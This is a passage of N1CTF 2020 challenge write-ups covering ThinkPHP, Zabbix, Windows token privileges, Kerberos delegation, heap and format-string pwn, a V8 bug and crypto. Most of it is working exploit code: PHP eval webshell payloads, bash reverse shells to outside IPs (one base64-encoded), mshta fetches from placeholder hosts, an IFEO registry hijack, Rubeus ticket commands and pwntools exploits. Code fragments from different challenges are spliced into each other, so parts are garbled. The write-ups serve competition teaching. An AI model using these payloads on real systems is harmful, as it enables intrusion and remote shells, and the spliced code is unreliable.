1>&/dev/tcp/114.5.1.4/1919 0<&1\"",        NULL   };    execve("/bin/sh", argv, NULL); } 4. And only writable in the public directory is set chown -R root:root /var/www/html chmod -R 755 /var/www/html chmod 777 /var/www/html/public As we all know, in the actual combat environment of tp5.0.x + php7, if disable_functions limits all single parameter dangerous functions. We need to use __include_file in /thinkphp/library/think/Loader.php to include log、session、 uploadfile to getshell.Of course, some people have dug out the 5.0.x deserialization chain some time ago, so it can also cooperate with the unserialize . During the course of the competition, a lot of people used the inclusion in think/Lang::load , which was not noticed before. Tp5.0.x rce process will not be discussed here.Just know that now we can control $filters and $value . And now the calling function can only pass in a single parameter. So we can't call file_put_content to write the shell. So we need to find out where dangerous functions call_user_func_array 、 file_put_content and so on are called in TP5. Expected solution Take a look at the method of \think\Build::buildHello . We can call it indirectly through the module method, and the first parameter $module is controllable, and the writing content is partially controllable. We can control the following test values The bypass method is very simple. test;phpinfo();// can be used, and then getshell with inlcude file. In actual combat, the application directory may not have write permission, unless it is windows. Static files and pictures are generally placed in subdirectories of the public directory, and the corresponding folder has write permission. Suppose we want to write it to the public directory. Construct ../public/test;phpinfo();// , but syntax error. You might think of using a;"/../../public/test".phpinfo(); . However, in Linux, the MKDIR path does not allow non-existent directory by default. However, it is allowed under windows. The test shows that if mkdir takes a true parameter, it is allowed to have non-existent parameters in the path. And the path of file_put_contents also allows nonexistent directories. In addition, mkdir reports warning, which does not affect the subsequent execution of the program. He passed in the true parameter when he called mkdir . In ThinkPHP5, exceptions are thrown by default for any errors, including warning errors. We can use error_reporting to bypass it https://www.php.net/manual/en/function.error-reporting.php Unexpected 1 _method=__construct&method=GET&server[]=1&filter[]=think\Build::module&get[]=index/ /../../public//?><?php eval($_GET[a]);?> Unexpected 2 from vidar-team b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);? >&_method=__construct&filter=think\Build::moudle&a=1&method=GET b=php://filter/read=string.rot13/resource=./<?cuc riny(trgnyyurnqref()["pzq"]);? >/controller/Index.php&_method=__construct&filter=think\__include_file&a=1&method=G ET Unexpected 3 from 0ops _method=__construct&filter[]=json_decode&filter[]=get_object_vars&filter[]=think\Lo g::init&method=GET&get[]={"type":"File", "path":"/var/www/html/public/logs"} But error_log in disable_functions Unexpected 4 Check other people's homework _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/var/www/ht ml/public/ _method=__construct&filter[]=highlight_file&method=GET&get[]=/var/www/html/public/i ndex.php It's half expected 5 from 0xParrot@super guesser curl --data "path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgP z4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=bas e64_decode&filter[]=\think\view\driver\Php::Display&method=GET" "http://101.32.184.39/?s=captcha&g=implode" --output - > a.html This is his writeup: https://github.com/Super-Guesser/ctf/tree/master/N1CTF%202020/web/easy_ tp5 Zabbix_fun 0、Login with default credential Admin/zabbix 1、add server http://127.0.0.1:8080/hosts.php?form=create fill zabbix-server in dns 2、create script http://127.0.0.1:8080/zabbix.php?action=script.edit fill in with following content: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNS4xMzYvODA4NSAwPiYx | base64 -d | bash -i 3、agent_get get file content zabbix_get -s zabbix-agent -p 10050 -k vfs.file.contents[/flag/flag.txt] Docker_manager curl -K & /proc/id/cmdline The King Of Phish Victim Bot Here only spaces are filtered, not other blank strings, so you can just use other blank strings to bypass. Here's the open-ended solution, see the following Payload: UserA-PC use SeRestore privileges to modify the registry and hijack the processes started by high privilege processes. This is written more clearly in hatRiot's token-priv project. SeRestorePrivilege.cpp However, the code given by the token-priv project does not compile. We can refer to the version modified by 3gstudent: SeRestorePrivilege.cpp(3gstudent) Modify se_restore_priv function to control IFEO and hijack wsqmcons.exe: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $executioncontext.InvokeCommand.InvokeScript([System.Text.Encoding]::Unicode.Get String([System.Convert]::FromBase64String('cABpAG4AZwAgAGIAYQBpAGQAdQAuAGMAbwBtA A=='))) C:\Windows\System32\cmd.exe /c type %USERPROFILE%\Desktop\flag.txt C:\Windows\System32\cmd.exe /k"whoami" C:\Windows\System32\mshta.exe http://xxx.xxx.xxx.xxx:8080/1.hta C:\Windows\System32\cscript.exe \\xxx.xxx.xxx.xxx\public\test.vbs void se_restore_priv() { DWORD sID; ProcessIdToSessionId(GetCurrentProcessId(), &sID); std::string data = "\"C:\\Windows\\System32\\cmd.exe\""; HKEY handle; LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wsqmcons.exe", 0, NULL, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, NULL, &handle, NULL); if (stat != ERROR_SUCCESS) { printf("[-] Failed opening key! %d\n", stat); return; } stat = RegSetValueExA(handle, "Debugger", 0, REG_SZ, (const BYTE*)data.c_str(), data.length() + 1); if (stat != ERROR_SUCCESS) { printf("[-] Failed writing key! %d\n", stat); return; } printf("[+] Key set"); RegCloseKey(handle); return; After hijacking wsqmcons.exe via IFEO, you can run the process with high privileges using the scheduled tasks. Task path is \Microsoft\Windows\Customer Experience Improvement Program\Consolidator Run task as system: Task will start wsqmcons.exe This task will be performed every six hours, but it can also be performed proactively by regular users. Task's dacl: } The task can be executed by an authenticated user, so we only need to start the task manually to trigger its execution. schtasks /Run /TN "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator" Or you can just replace the system file with cmd.exe and get a cmd.exe in system privilege via StickKeys in RDP. Thank M N for the unintended solution. DC Here's a trick involved that most people don't know about. It's SPN mappings. First, use powerview to gather a bit of information and find that there are constrained delegation. Get host/dc ticket: Host ticket can't get target permissions directly, but with spn mapping we can convert it to another service ticket. ref: https://adsecurity.org/?page_id=183 Rubeus.exe tgtdeleg Rubeus.exe s4u /ticket:doIE2jCCBNagAwIBBaEDAgEWooID6zCCA+dhggPjMIID36ADAgEFoQsbCU4xQ1RGLkxBQqIe MBygAwIBAqEVMBMbBmtyYnRndBsJTjFDVEYuTEFCo4IDqTCCA6WgAwIBEqEDAgECooIDlwSCA5NRm8AG h82ePsEB2qU0eC4rKkzc21dy6i+At9t58fIA3MJsJ/yLdqFzftcozSiUaWIftLOm08nrvLEXO84tbM6Y yi56UEdr7rtqzlCK5kx4R4Q4WzlUp0yh+SN/V/A33K+UqkIF+GrNqaI4fYa1NTtSGYBEYr7OvVga4geh iAGAsxHLA3TCOlD3yKFPO6FXcq8n4nYf7EiGZSJqhC1P2qTphdY2sLuzJR8rFtyPPcEeBs8keqUokXn7 AcJoAsUdx4AcHfHTGECApwzCcN+2hikR3ypUPeOdKVMabVB5EyUHhsdWg5mElqhnA36S/TWhfIdKiW3R sjrd0xj2ZlEKZaZHNfWZ7gQg0ljft7ZqLTHk7Uz3ly8QsjABTyT0t8G5u3DZi2RJSChJggB0qiklPzWa u9+iR5ILZQsSTIk0vFujaxrec6l424lHBZN1HQ4bYolRPguHOnR4F18wtWxBtdbVUUquBqTvhznuvEDm UofWE8gElh8yNDYa2Ygeco06Arx2ZWyh5OR6ucK3V7ErDR6homQi4tpLTXico2UqFlmrZx6AGKDfDlQj F0tzw+kjXYbxinL4yXW50utrOz88CiAe94RiDelSpZSCd9Wmu73fdtRq/MxjP3lSYWi7KSN2BzMa0Egm a0SetpTry8Ag11TaL2JKqiVMe0x1oPcsHgvj+S3rfK1bQlB0wExso3MVwWZIOdJob2FbQxk8RvpBYKo1 UXXEiVdASv+404A3GQq1IOnE79Z+vGuC5EV+YOS4nvDhTZqX6/wJ3BA2xbMYBq1b8ZrWnE2J9NVmisdN RfDA6w/9Pd10OjmVB+bnDvXlorKEKWG75S8PKU7d7QePO1PawjQfcwLxEopM8haEM6XsWf2wLe5VbKjD rw1C7CxiUSPpWFMJFQuuj+ZEKQ+8qPNYLA5fpEOYZaP22Ps3HUWNThr7mww/2oI+RrWXwj6UkawKcvH3 DVpO6nNz8ntvxYmMFZxDqYJw8hVQGyDKEIjiz++omlPUFpaNXQMPuftNw2x/NXgZeT2qa+Ua8me7eW6D fsmwlxMX15WQtz4XImd/DGulVguMCW+B4UyE1/GKjHTdyb77pEVhlzYfhSXmsgycv+Dfsz5VGQwHmHCF TpkItMCRL8wbhIfmbjrphiBfm8e0E4J2g6LfEgiall3+PKluBohIcAb35OMtEKV+CjMNAk9D2PVqKEFL w9NznQ/9J1OYxBOjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaArMCmgAwIBEqEiBCA39f2q PYP9+VOXp1NGalZRlq/ip31IT2t6DDJxpwNBX6ELGwlOMUNURi5MQUKiEjAQoAMCAQGhCTAHGwVVc2Vy QaMHAwUAYKEAAKURGA8yMDIwMTAxNDA3MDc0NVqmERgPMjAyMDEwMTQxNzA3MzRapxEYDzIwMjAxMDIx MDcwNzM0WqgLGwlOMUNURi5MQUKpHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCU4xQ1RGLkxBQg== /impersonateuser:administrator /domain:n1ctf.lab /msdsspn:host/dc.n1ctf.lab /dc:dc.n1ctf.lab /ptt [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(" <bas64_ticket>")) The following SPNs are automatically mapped to HOST (SPNMapping property value) host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem, policyagent, oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddeds m,nmagent, plugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,s cesrv, seclogon,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,htt p,w3svc, iisadmin,msdtc This means that tgs in SPNMapping can be converted to each other, as they are essentially mapped to the Host. How to exploit? Very simple, just change the sname(service name). Before: After: The easiest way is to edit tgs in hexadecimal. Then, loading tickets via ptt: That's all! By the way, after talking to Daiker(The only one who solves the questions), I found out that Impacket will converts tickets automatically, and that Rubures can also do this too(with specific parameter altservice ). Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] Pwn SignIn from pwn import * from time import time s = process("./signin") libc = ELF("./libc.so") def add(idx,num):   s.sendlineafter(">>","1")   s.sendlineafter("Index:",str(idx))   s.sendlineafter("Number:",str(num)) def free(idx):   s.sendlineafter(">>","2")   s.sendlineafter("Index:",str(idx)) def show(idx):   s.sendlineafter(">>","3")   s.sendlineafter("Index:",str(idx)) for i in range(257): EasyWrite   print i,   add(1,1) for i in range(514):   print i,   free(1) show(1) tmp = int(s.recvline(keepends=False))-0x3ebca0 success(hex(tmp)) free_hook = libc.sym['__free_hook']+tmp system = tmp+libc.sym['system'] for i in range(269):   print i,   free(1) show(1) # gdb.attach(s,'b *$rebase(0x11e0)\nc') add(1,free_hook-0x8) add(2,u64("/bin/sh\x00")) add(2,system) s.interactive() # 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) # constraints: #   rcx == NULL # 0x4f432 execve("/bin/sh", rsp+0x40, environ) # constraints: #   [rsp+0x40] == NULL # 0x10a41c execve("/bin/sh", rsp+0x70, environ) # constraints: #   [rsp+0x70] == NULL from pwn import * libc = ELF("./libc-2.31.so") p = remote('124.156.183.246',20000) p.recvuntil(":") libc_base = int(p.recvline().strip(), 16) - libc.sym["setbuf"] tcache_ptr = libc_base + 0x1f34f0 fake = p32(0) + p32(1) fake = fake.ljust(0x12*8,'\x00') fake += p64(libc_base + libc.sym["__free_hook"] - 0x10) p.recvuntil('message') p.sendline(fake) p.recvuntil('write') p.send(p64(tcache_ptr)) p.recvuntil('message?') p.sendline('/bin/sh\x00'+p64(0)+p64(libc_base + libc.sym['system'])) p.interactive() Babyrouter Unexcepted Because of qemu-usermode,ASLR is off. So many vulnerabilities could be used.For example,some teams used CVE-2018-18708. Because ASLR is off,libc-base doesn't change, so you could use it to bypass 00. exp: Excepted Under the excepted environment,ASLR is on,so many vulnerabilities couldn't be used.You should find some way to bypass 00. Because the vulnerability my exp used is a 0day,I will not release details. In my exp,the vulnerability can cause overflow multiple times,and I use it to bypass 00.Then, just need to control parameters. Escape This is a Chromium exploitation challenge. Before we get into the challenge, I want to apologize for my akushumi of disabling WASM :p. I wasted a large proportion of time when solving another Chromium challenge in one of the CTFs thanks to this, so I was hoping to see some other techniques. (Also to prepare for W^X WASM JIT patch in v8, because one day it will be landed right?). The patch: import requests from pwn import * url = "http://8.210.119.59:9990/goform/setMacFilterCfg" cookie = {"Cookie":"password=12345"} cmd='bash -c "bash -i >& /dev/tcp/host/port 0>&1"\x00' libc_base = 0xf65d8f70-0x0003df70 system_offset = 0x5a270 gadget1_offset = 0x18298 gadget2_offset = 0x40cb8 system_addr = libc_base + system_offset gadget1 = libc_base + gadget1_offset gadget2 = libc_base + gadget2_offset payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd data = {"macFilterType": "white", "deviceList": "\r"+ payload} s=requests.post(url, cookies=cookie, data=data) print s.text diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc index 2a096b6933..3046d7b04e 100644 --- a/src/compiler/escape-analysis.cc +++ b/src/compiler/escape-analysis.cc @@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {         : VariableTracker::Scope(&tracker->variable_states_, node, reduction),           tracker_(tracker),           reducer_(reducer) {} -   const VirtualObject* GetVirtualObject(Node* node) { +   VirtualObject* GetVirtualObject(Node* node) {       VirtualObject* vobject = tracker_->virtual_objects_.Get(node);       if (vobject) vobject->AddDependency(current_node());       return vobject; @@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,     case IrOpcode::kStoreField: {       Node* object = current->ValueInput(0);       Node* value = current->ValueInput(1); -     const VirtualObject* vobject = current->GetVirtualObject(object); +     VirtualObject* vobject = current->GetVirtualObject(object);       Variable var;       if (vobject && !vobject->HasEscaped() &&           vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) { +       // Attach cached map info to the virtual object. +       if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) { +         vobject->SetMap(value); +       }         current->Set(var, value);         current->MarkForDeletion();       } else { @@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,           // yet.           break;         } +     } else if (vobject) { +       Node* cache_map = vobject->Map(); +       if (cache_map) { +         Type const map_type = NodeProperties::GetType(cache_map); +         if (map_type.IsHeapConstant() && +             params.maps().contains( +                 map_type.AsHeapConstant()->Ref().AsMap().object())) { +           current->MarkForDeletion(); +           break; +         } +       }       }       current->SetEscaped(checked);       break; @@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,       for (int i = 0; i < value_input_count; ++i) {         Node* input = current->ValueInput(i);         current->SetEscaped(input); + +       // Invalidate associated map cache for all value input nodes. +       VirtualObject* vobject = current->GetVirtualObject(input); +       if (vobject) { +         vobject->SetMap(nullptr); +       }       } From the patch we can see that, a new "caching" logic was added in escape analysis . Now every virtual object has a map_ associated with it. It was used in CheckMaps elimination. One thing we need to notice is that the operations on virtual objects should consider if it's already escaped, so this patch introduces a type confusion bug. After analyzing the patch we can craft ourselves some PoCs: With the fakeobj and addrof primitives constructed out of the PoC, it's not hard to get arbitrary read/write primitive. For code execution, I used window.createElement("div") to create a native object with Vtable , and overwrite the Vtable to get the flag. Echoserver First at all, I apologize for the meaningless format string, which wastes many time to adjust it.This challenge is inspired by CVE-2017-6736, which use snmp to write shellcode in memory, but I failed to design a protocol like that, finally I choose the format string :( , sorry for that again. And I've made another mistake: the qemu don't have nx either in system mode. It can jump to shellcode directly. My solution contains the step that bypass the nx:       if (OperatorProperties::HasContextInput(op)) {         current->SetEscaped(current->ContextInput()); diff --git a/src/compiler/escape-analysis.h b/src/compiler/escape-analysis.h index 0fbc7d0bdd..ec56488388 100644 --- a/src/compiler/escape-analysis.h +++ b/src/compiler/escape-analysis.h @@ -147,11 +147,14 @@ class VirtualObject : public Dependable {   bool HasEscaped() const { return escaped_; }   const_iterator begin() const { return fields_.begin(); }   const_iterator end() const { return fields_.end(); } + Node* Map() const { return map_; } + void SetMap(Node* map) { map_ = map; } private:   bool escaped_ = false;   Id id_;   ZoneVector<Variable> fields_; + Node* map_; }; class EscapeAnalysisResult { function opt(cb) { for(var i = 0; i < 200000; i++) { }     // trigger JIT let v = [1.1];     // double elements let o = [v];       // now o & v are not escaped and have their maps cached cb(o);             // now o & v are escaped, but only o's cached maps are invalidated. return v[0];       // type confusion, v is still treated as double elements. } let x = new Array(4); for(var i = 0; i < 10; i++) { opt((o) => {}); } console.log(opt((o) => { o[0][0] = x; })); Firstly, overwrite malloc_hook to 0x10067140 , which is a function can call pointer consecutively, then overwrite the first function pointer to _dl_make_stack_executable ,and some data use in it like __stack_prot . Then overwrite the second function pointer to the address of your shellcode, finally write the shellcode use format string. Then it can be triggered by a large print like %114514x . The printf will do malloc(114514 + 0x20),so we can control r3 according to this, and pass it to _dl_make_stack_executable . fmt_attack.py: from pwn import * arch = 32 class Payload:   def __init__(self, index,addon = ''):       self.__index = index       self.__payload = ''       self.__chunk_list = []       self.__addon = addon   def add_write_chunk(self, value, address, write_len=int(arch/8),is_raw_length = False):       if write_len != 2 and write_len != 1 and write_len != 4 and write_len != 8:           raise ValueError       if value < 0:           raise ValueError       if write_len == 1 or write_len == 2:           if value >= (1 << (write_len*8)):               raise ValueError           write_chunk = FmtChunkW(value, address, write_len=write_len)           self.__chunk_list.append(write_chunk)       if write_len == 4:           if value >= 0x100000000:               raise ValueError           if is_raw_length:               write_chunk = FmtChunkW(value, address, write_len=write_len)               self.__chunk_list.append(write_chunk)           else:               high = value >> 16               low = value % 0x10000               high_chunk = FmtChunkW(high, address+2)               low_chunk = FmtChunkW(low, address)               self.__chunk_list.append(high_chunk)               self.__chunk_list.append(low_chunk)       if write_len == 8:           if value >= 0x10000000000000000:               raise ValueError           for i in range(4):               write_value = (value >> (i*16)) % 0x10000               write_address = address + i*2               self.__chunk_list.append(FmtChunkW(write_value, write_address))       return   def get_payload(self):       self.__chunk_list.sort(cmp=lambda chunk1, chunk2: int(chunk1) - int(chunk2))       guess_length = len(self.__chunk_list) * 12   # for most solutions       guess_index = int(guess_length * 8 / arch) + 1       while True:           if guess_index < 0:               exit(0)           guess_string = self.gen_string(guess_index)           if 'Z' * int(arch / 8) in guess_string:               guess_index -= 1           else:               return guess_string   def gen_string(self, start_index):       last_value = 0       format_string = ''       address_string = ''       for i in self.__chunk_list:           tmp_format_string, tmp_address_string = \               i.get_format(self.__index + start_index + self.__chunk_list.index(i), last_value)           format_string += tmp_format_string           address_string += tmp_address_string           last_value = int(i)       return format_string.ljust(start_index * int(arch / 8), 'Z') + self.__addon + address_string class FmtChunkW:   def __init__(self, value, address, write_len=2):       self.__write_value = value       self.__write_address = address       self.__write_len = write_len   def get_format(self, index, last_len):       write_len = self.__write_value-last_len       format_str = ''       if write_len < 0:           raise ValueError       if write_len <= 4:           format_str += 'a'*write_len       else:           format_str += '%' + str(write_len) + 'c'       format_str += '%' + str(index) + '$'       if self.__write_len != 2 and self.__write_len != 4 and self.__write_len != 1:           raise ValueError       if self.__write_len == 2:           format_str += 'hn'       if self.__write_len == 1:           format_str += 'hhn'       if self.__write_len == 4:           format_str += 'n'       return format_str, str(self)   def __int__(self):       return int(self.__write_value)   def __str__(self): exp.py:       if arch == 64:           return p64(self.__write_address)       if arch == 32:           return p32(self.__write_address)       return None from pwn import * from fmt_attack import Payload # p = process(['qemu-ppc','./pwn22']) p = remote('150.158.156.120',23333) #context.log_level = 'debug' context.arch = 'powerpc' def small2big(a):   return u32(p32(a),endian='big') a = Payload(13 + 3,addon=('%' + str(0x1009FF80-0x20) + 'x').ljust(12,'b')) def add_big_endian(value,addr):   global a   a.add_write_chunk(value >> 16,small2big(addr),write_len=2)   a.add_write_chunk(value & 0xffff,small2big(addr + 2),write_len=2) add_big_endian(0x10067140,0x100A0E10) # malloc_hook # add_big_endian(0x100A1000,0x1009FF80) # libc_stack a.add_write_chunk(7,small2big(0x1009FF88),write_len=4,is_raw_length=True) # __stack_prot ''' dl_make_stack_exec ''' add_big_endian(0x10053D70,0x1009FB00) # _dl_make_stack_executable add_big_endian(0x100A1000,0x1009FAFC) add_big_endian(u32('flag',endian='big'),0x100a0000) add_big_endian(u32(asm('lis r3,0x100a')),0x100A1000) add_big_endian(u32(asm('li r0,5')),0x100A1000 + 4) add_big_endian(u32(asm('li r4,0')),0x100A1000 + 8) add_big_endian(u32(asm('sc')),0x100A1000 + 12) add_big_endian(u32(asm('li r5,0')),0x100A1000 + 16) add_big_endian(u32(asm('mr r4,r3')),0x100A1000 + 20) add_big_endian(u32(asm('li r3,1')),0x100A1000 + 24) add_big_endian(u32(asm('li r0,186')),0x100A1000 + 28) # sendfile syscall add_big_endian(u32(asm('li r6,0x100')),0x100A1000 + 32) add_big_endian(u32(asm('sc')),0x100A1000 + 36) payload = a.get_payload() p.send(payload) # p.recvuntil('n1ctf') p.interactive() By the way,it's hard to do stack pivot in powerpc.If this challenge made with x86, it's easy to rop with xchg eax,esp or some gadget like setcontext. Kemu Maybe update on https://github.com/Nu1LCTF/n1ctf-2020/tree/main/PWN/Kemu W2L This is a challenge of Linux kernel exploitation. The bug introduced in the patch is CVE-2017-7308 which provides an overwrite primitive. It's not hard to find a public exploit for this bug. But the way to bypass the KASLR in these public exploits is ad-hoc. I was expecting to see folks can come up with a new technique to leak kernel information and thus bypass KALSR. Unfortunately, in the script running qemu, I mistakenly disabled SMAP/SMEP which was intended to be enabled. This mistake made this challenge easier because ret2usr is sufficient to exploit the vulnerability. I would like to introduce the intended solution for this challenge with SMAP/SMEP and KASLR enabled. Since the public exploit has already demonstrated how to obtain the control-flow hijacking primitive from the overwrite primitive, I will focus on how to obtain the leak primitive from the overwrite primitive so as to leak kernel information and bypass KASLR. In most kernels, there exist a special type of structure which contains a length fiekld controlling the size of a kernel buffer. This type of structure is really useful when there are channels to leak the content in the kernel buffer to the userland. For example, copy_to_user is one of the leaking channels in Linux kernel. When copy_to_user is invoked, if the size parameter is propagated from the length field and the src parameter is the address of a kernel buffer, the content of the kernel buffer can be read in the userland. We call this type of structures as leakable elastic structure . Leakable elastic structures can be used for overreading through enlarging its length field using the vulnerability. In this challenge, we already have the primitive overwriting the adjacent data, what we need to do is to find a leakable elastic structure , put it after the vulnerable object, overwrite the length field with a large value, and finally leak the kernel information through the channel. In this challenge, we use the leakable elastic structure user_key_payload to leak kernel base address. user_key_payload is very powerful because it can be allocated in many general caches. Its flexibility allows us to spray it in different caches to cater to different vulnerabilities. Please refer to here to see our exploit utilizing struct user_key_payload to bypass KASLR. Regarding this type of magic object, there is more to explore. (1) How many leakable elastic structures are there in different kernels? (2) Is this leaking technique general? (3) Do we need mitigation mechanism to prevent such leaking? (4) etc. To answer these questions, we researched on this leaking technique and published the results in our paper. Crypto VSS I found an interesting threshold scheme called Visual Threshold Scheme from a cryptography textbook and then implemented it in Python with the builtin random module which is implemented using MT19937. There are already several tools to recover the most likely state of the prng with 624 32-bit integers known and predict using that state, e.g. randcrack. In this challenge, we can use the information that the border of the qrcode is white to obtain the first 624 32-bit integers generated by the prng. My Solution: BabyProof Zero-knowledge proof Zero-knowledge proof is a hot topic in the field of Cryptography, and has many applications in Blockchain. There are, however, few CTF chanlleges on this topic. So, I made this challenge for fun, though the key point to solve the challenge has no relation with zero-knowledge proof. Actually, the construction of the challenge is similar to that of the Schnorr Signature Scheme, which uses a technique, known as Fiat–Shamir heuristic, to convert an interactive proof of knowledge into a non-interactive one by applying a cryptographic hash function as the random oracle. The signature scheme works in that the randomly (uniformly) selected scalar r masks the multiplication of h and a over the prime-order group. Therefore, the verifier acquires zero knowledge about the secret key a , while can be convinced that the prover really knows a . HNP from PIL import Image from randcrack import RandCrack import random share = Image.open('share2.png') width = share.size[0]//2 res = Image.new('L', (width, width)) bits = '' for idx in range(width*width-624*32, width*width):   i, j = idx//width, idx % width   if share.getpixel((2*j, 2*i)) == 255:       bits += '0'   else:       bits += '1' rc = RandCrack() for i in range(len(bits), 0, -32):   rc.submit(int(bits[i-32:i], 2)) flipped_coins = [int(bit)                 for bit in bin(rc.predict_getrandbits(width*width-624*32)) [2:].zfill(width*width-624*32)] + list(map(int, bits)) data = [] for idx in range(width*width):   i, j = idx//width, idx % width   if share.getpixel((2*j, 2*i)) == 255:       data.append(0 if flipped_coins[idx] else 255)   else:       data.append(255 if flipped_coins[idx] else 0) res.putdata(data) res.save('ans.png') However, in this task, we can see that the distribution of the secret selected scalar $v$ over the prime-order group $\mathbb{Z}_q^*$ is not uniform: It always falls in the interval $[1, x]$, where $x$ is a 247-bit integer and the prime $q$ is about 256-bit, thus making $v$ relatively small compared to $q$. And this leads to a well-known problem in Cryptanalysis -- the hidden number problem. From the instance, we can continuously get some data that satisfying where only $v_i$ and $x$ are unknown. By some transformation, it can be rewritten as Then, we can construct the lattice It is easy to show that the linear combination $[-k_1, -k_2, \cdots, -k_n, x, 1]$ of the lattice basis can result in a quite short lattice point $[v_1, v_2, \cdots, v_n, x, 2^{248}]$. By applying lattice reduction algorithm such as LLL to $L$, we can easily find this short lattice point, from which $x$ is recovered. Code The script to gather sufficient data (stored in the file data ): v = getRandomRange(1, x) import json from hashlib import sha256 from string import ascii_letters, digits from pwn import * from pwnlib.util.iters import bruteforce def proof_of_work(r):   r.recvuntil(b"XXXX+")   suffix = r.recv(16).decode()   r.recvuntil(b"== ")   _hexdigest = r.recvline().strip().decode()   print(f"suffix: {suffix}\nhexdigest: {_hexdigest}")   prefix = bruteforce(       lambda x: sha256((x+suffix).encode()).hexdigest() == _hexdigest,       ascii_letters + digits,       4,       "fixed" And the script to solve the HNP:   )   print(prefix)   r.sendline(prefix) def main():   # Get data   qs = []   cs = []   rs = []   for i in range(50):       print(i)       conn = remote("101.32.203.233", 23333)       # context.log_level = "debug"       proof_of_work(conn)       conn.recvline_endswith(b"I really have knowledge of x.")       g, y, _, q, t, r = conn.recvall().decode().strip().split("\n")[-6:]       gyt = b"".join(           map(               lambda x: int.to_bytes(len(str(x)), 4, 'big') + str(x).encode(),               (g, y, t)           ))       c = int.from_bytes(sha256(gyt).digest(), 'big')       qs.append(int(q))       cs.append(int(c))       rs.append(int(r))       print(q, c, r)       conn.close()   json.dump([qs, cs, rs], open("data", "w")) if __name__ == "__main__":   main() # SageMath 9.1 import json from Crypto.Util.number import long_to_bytes qs, cs, rs = json.load(open("data", "r")) # HNP N = 50 M = matrix(ZZ, N+2, N+2) # q1 #   q2 #       ... #           qn # c1 c2 ... cn 1 # r1 r2 ... rn   2^248 Curve This is a challenge about generating specific elliptic curves. Apparently I f-ed up with parameter checking so there's some unintended solutions, I guess I'll spend more time on challenge proofreading next time. for i in range(N):   M[i,i] = qs[i] # qi   M[-2,i] = cs[i] # ci   M[-1,i] = rs[i] # ri M[-2,-2] = 1 M[-1,-1] = 2^248 M_lll = M.LLL() x = M_lll[0,-2] print(long_to_bytes(x)) # b'n1ctf{S0me_kn0wl3dg3_is_leak3d}' #!/usr/bin/env sage import signal, hashlib, string, random, os os.chdir(os.path.dirname(os.path.abspath(__file__))) FLAG = open("./flag.txt", 'r').read() ROUNDS = 30 def PoW(): s = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(20)]) h = hashlib.sha256(s.encode()).hexdigest() prefix = s[:16] print("sha256(%s+XXXX) == %s" % (prefix, h)) c = input("Give me XXXX: ") if hashlib.sha256((prefix + c).encode()).hexdigest() == h:   return True return False def chall(): p = ZZ(input("P: ")) # of course we are using sage >= 9 a = ZZ(input("A: ")) b = ZZ(input("B: ")) if not is_prime(p) or p.nbits() < 512:   print("No bad parameters.")   return E = EllipticCurve(GF(p), [a, b]) if E.is_supersingular():   print("No this is not good enough.")   return q = E.order() x1 = ZZ(input("X1: ")) y1 = ZZ(input("Y1: ")) x2 = ZZ(input("X2: ")) The intended solution: Let's first look at the latter part of the challenge source, there are 30 rounds that checks if you input the correct guess. If you know Decisional Diffie-Hellman assumption, you may find it somewhat similar, instead using a single generator $g$, the check uses two user-provided points $g_1, g_2$. From the wiki we can see some interesting quotes: "The DDH assumption does not hold on elliptic curves over $GF(p)$ with small embedding degree ... because the Weil pairing or Tate pairing can be used to solve the problem directly ...". Basically it means we can exploit bilinearity (i.e., $e_n([a]P, [b]Q)=e_n(P,Q)^{ab}, \forall a,b \in \mathbb{Z}$.) of bilinear pairings to solve DDH problem. But how can Weil pairing help us solve this challenge? One important property of Weil pairing is $e_n(P,P)=1, \forall P \in E[n]$. But under the restrictions ($p$ being prime) given by the challenge, if the group of points of $E$ is cyclic, we can never distinguish the pairs given by the server. So we need to generate some special elliptic curves over $GF(p)$ where $p$ is a prime, has a small embedding degree and also being non-cyclic. y2 = ZZ(input("Y2: ")) G1 = E((x1, y1)) G2 = E((x2, y2)) for _ in range(ROUNDS):   a0 = randint(1, q - 1)   a1 = randint(1, q - 1)   c = -1   while c == -1 or c == a0 * a1:     c = randint(1, q - 1)   g0, g1 = G1 * a0, G2 * a1   c0, c1 = G1 * (a0 * a1), G1 * c   b = randint(0, 1)   if b == 0:     print(g0, g1, c0)   else:     print(g0, g1, c1)   choice = ZZ(input("Choice: "))   if choice != b:     print("Wrong choice.")     return print(f"Thank you! Here's your reward: {FLAG}") return if __name__ == '__main__': 